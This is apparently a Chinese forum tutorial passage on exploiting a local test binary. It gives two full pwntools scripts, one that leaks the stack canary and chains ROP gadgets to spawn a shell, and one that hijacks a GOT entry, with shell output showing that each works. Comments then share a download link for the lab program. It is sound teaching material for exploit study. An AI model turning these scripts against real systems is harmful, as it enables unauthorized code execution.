stack_check_func_hijack函数内部会读取参数输入,第一次是读取输入到rbp-0x14位置的缓冲区变量,第二次是修改rbp-0x20的内存地址,第三次是修改rbp-0x20中保存的数据,显然rbp-0x20位置上的变量是指针类型。因此可以通过第二次读取输入将rbp-0x20的内存地址修改为.got.plt节中表项的地址,可以通过第三次读取输入修改.got.plt节中表项的数据。

5.1 exploit-泄露金丝雀

根据上面分析,可以先填充缓冲区变量到金丝雀的最低字节,然后获取泄露的金丝雀,最后根据金丝雀的数值填充rbp-0x8的位置,调用函数栈底指针可以随意覆盖,返回地址则借用LibC中的指令,让其通过system函数调用shell,最后得到下方的exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import os
import pwn
 
pwn.context.clear()
pwn.context.update(
    arch = 'amd64', os = 'linux'
)
 
libc_base = 0x7ffff7db3000
system_offset = 0x50f10
sh_str_offset = 0x1aae28
ret_offset = 0xfd8c5
pop_rdi_ret_offset = 0xfd8c4
exit_offset = 0x3f050
 
conn = pwn.process(argv = ['./example', 'c'])
 
buf_padding = b'A' * (0x40 - 0x8)
 
conn.sendlineafter('please enter user name: \n', buf_padding)
result = conn.recvuntil('\xff')
 
canary = result[0x4c:0x53]
canary = b'\x00' + canary
print(canary)
payload = b'A' * (0x4c - 0x8)
payload += canary
payload += b'B' * 0x8
payload += pwn.p64(libc_base + pop_rdi_ret_offset)
payload += pwn.p64(libc_base + sh_str_offset)
payload += pwn.p64(libc_base + ret_offset)
payload += pwn.p64(libc_base + system_offset)
payload += pwn.p64(libc_base + exit_offset)
 
conn.sendlineafter('please enter password: \n', payload)
 
conn.interactive()

执行后就可以成功获得shell。

1
2
3
4
5
6
7
8
[*] Switching to interactive mode
$ whoami
test
$ ls /
bin            dev   lib          mnt   root         sbin  tmp
boot            etc   lib64       opt   rootfs-pkgs.txt  srv   usr
desktopfs-pkgs.txt  home  lost+found  proc  run             sys   var
$

5.2 exploit-篡改GOT

通过上面分析,需要先填充缓冲区变量1,使之覆盖金丝雀触发stack_check_func_hijack函数,并填充payload,之后先设置指针变量2的内存地址到.got.plt节内,再设置节中表项的数据为ret指令的地址,使之直接返回到原函数的leave指令,然后继续按照正常的流程运行,最后返回时运行之前传入的payload,使得shell弹出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import os
import pwn
 
pwn.context.clear()
pwn.context.update(
    arch = 'amd64', os = 'linux'
)
 
libc_base = 0x7ffff7db3000
system_offset = 0x50f10
sh_str_offset = 0x1aae28
ret_offset = 0xfd8c5
pop_rdi_ret_offset = 0xfd8c4
exit_offset = 0x3f050
 
conn = pwn.process(argv = ['./example', 's'])
 
payload = b'A' * 0x14
payload += b'B' * 0x8
payload += pwn.p64(libc_base + pop_rdi_ret_offset)
payload += pwn.p64(libc_base + sh_str_offset)
payload += pwn.p64(libc_base + ret_offset)
payload += pwn.p64(libc_base + system_offset)
payload += pwn.p64(libc_base + exit_offset)
 
conn.sendlineafter('please enter message: \n', payload)
 
exec_base = 0x555555554000
stack_check_offset = 0x4008
stack_check_got_plt_addr = pwn.p64(exec_base + stack_check_offset)
 
conn.sendlineafter('please enter address: \n', stack_check_got_plt_addr)
 
ret_addr = pwn.p64(libc_base + ret_offset)
 
conn.sendlineafter('please enter value: \n', ret_addr)
 
conn.interactive()

执行后就可以成功获得shell。

1
2
3
4
5
6
7
8
9
10
11
12
[*] Switching to interactive mode
$ whoami
test
$ ls /boot
amd-ucode.img               initramfs-6.6-x86_64.img  vmlinuz-6.6-x86_64
grub                   linux66-x86_64.kver
initramfs-6.6-x86_64-fallback.img  memtest86+
$ exit
[*] Got EOF while reading in interactive
$
[*] Process './example' stopped with exit code 2 (pid 4579)
[*] Got EOF while sending in interactive

最新回复:
wx_Dispa1r 2024-09-26 17:13:40
测试程序能分享一下吗
福建炒饭乡会 2024-10-09 20:59:26
wx_Dispa1r 测试程序能分享一下吗
可以的 我上传一下
福建炒饭乡会 2024-10-09 21:01:05

附件7.8m,没上传成,看下这里的地址地址吧,后面会将实验放到gitlab上面,主页上面会给出gitlab的地址


通过百度网盘分享的文件:PWN.tar.gz
链接:https://pan.baidu.com/s/1c4hV3GIQX7XkR5cRkizoIg
提取码:e7bb

上传的附件 PWN.tar.gz
PWN.tar.gz